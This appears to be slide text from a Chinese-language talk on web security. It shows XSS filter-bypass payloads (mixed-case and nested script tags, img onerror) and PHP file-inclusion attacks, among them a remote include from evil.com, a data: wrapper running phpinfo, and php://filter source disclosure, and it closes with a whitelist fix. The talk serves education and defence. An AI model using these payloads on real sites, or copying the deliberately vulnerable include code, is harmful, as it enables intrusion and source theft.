chivincent
就只是個宅正太(?)
用 curl 察看 HTML header
// 取得 Cookie
document.cookie;
//設定 Cookie
document.cookie += "; cookieTitle=cookieContents";
戀愛總是從「意外的邂逅」開始的(笑)
網頁前端的美麗誤會
其實現在也沒多注重……
反正又打不穿 Server
反正就只是一直跳 alert()
<html>
<head>
</head>
<body>
<h3>您現在的語言是 <strong id="lang"></strong></h3>
<script>
function getCookie( cookieName ){
// 取得特定名稱的 Cookie
}
document.getElementById('lang').innerHTML = getCookie('lang')
</script>
</body>
</html>
<?php
function clearScript($str){
return str_replace('script', '', $str);
}
?>
<html>
<head>
</head>
<body>
<p> 啊哈哈哈,我過濾掉了 "string" 這個字串 </p>
<p> <?php clearScript($_GET['str']) ?></p>
</body>
</html>
/index.php?str=<sCrIpT>alert(1)</ScRiPt>
<?php
function clearScript($str){
return str_ireplace('script', '', $str);
}
?>
<html>
<head>
</head>
<body>
<p> 啊哈哈哈,我過濾掉了 "string" 這個字串,而且這次不分大小寫! </p>
<p> <?php clearScript($_GET['str']) ?></p>
</body>
</html>
/index.php?str=<sscriptcript>alert(1)</scscriptript>
/index.php?str=<sscriptcript>alert(1)</scscriptript>
/index.php?str=<img src="123.jpg" onerror="alert(1)">
onerror
網頁編碼
eval()
String.fromCharCode()
btoa()、atob()
img src
form input
onfocus + autofocus
iframe srcdoc
encodedURI()
https://html5sec.org/
http://www.xenuser.org/xss-cheat-sheet/
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Source: http://gotyour.pw/
另外還有 SQL Injection 跟 任意上傳漏洞
<html>
<head>
<?php include('inc/head.php'); ?>
</head>
<body>
<?php include('inc/header.php'); ?>
<div id="content">
<!--這裡放頁面的主要內容-->
</div>
<?php include('inc/footer.php'); ?>
</body>
</html>
不重複設計,合情合理
<html>
<head>
<title> HrJ 好胖 </title>
</head>
<body>
<header>
<h1> Hrj 真的好胖 </h1>
</header>
<div id="content">
<?php
$page = 'info.php';
include($page);
?>
</div>
<footer>
<p> 他最近去海邊跳水,於是火星上發現了水 </p>
</footer>
</body>
</html>
只引入內容頁面,更方便了
<html>
<head>
<title> HrJ 好胖 </title>
</head>
<body>
<header>
<h1> Hrj 真的好胖 </h1>
</header>
<div id="content">
<?php
$page = $_GET['page'] ?? 'main.php';
include($page);
?>
</div>
<footer>
<p> 他最近去海邊跳水,於是火星上發現了水 </p>
</footer>
</body>
</html>
讓 GET 參數決定要看什麼頁面
超方便的!
(挖鼻孔)
/index.php?page=http://www.evil.com/evil.php
Windows 上不能用,可喜可賀!
預設是關閉的,可喜可賀
/index.php?page=data:text/plaintext,<?php phpinfo();?>
預設是關閉的,可喜可賀
/index.php?page=php://filter/convert.base64-encode/resource=index.php
<?php
$whiteList = ['main', 'info', 'about', 'member'];
?>
<html>
<head>
</head>
<body>
<header></header>
<div id="content">
<?php
if(in_array($_GET['page'], $whiteList, true))
include($_GET['page'].'.php');
else
include('main.php');
?>
</div>
<footer></footer>
</body>
</html>
By chivincent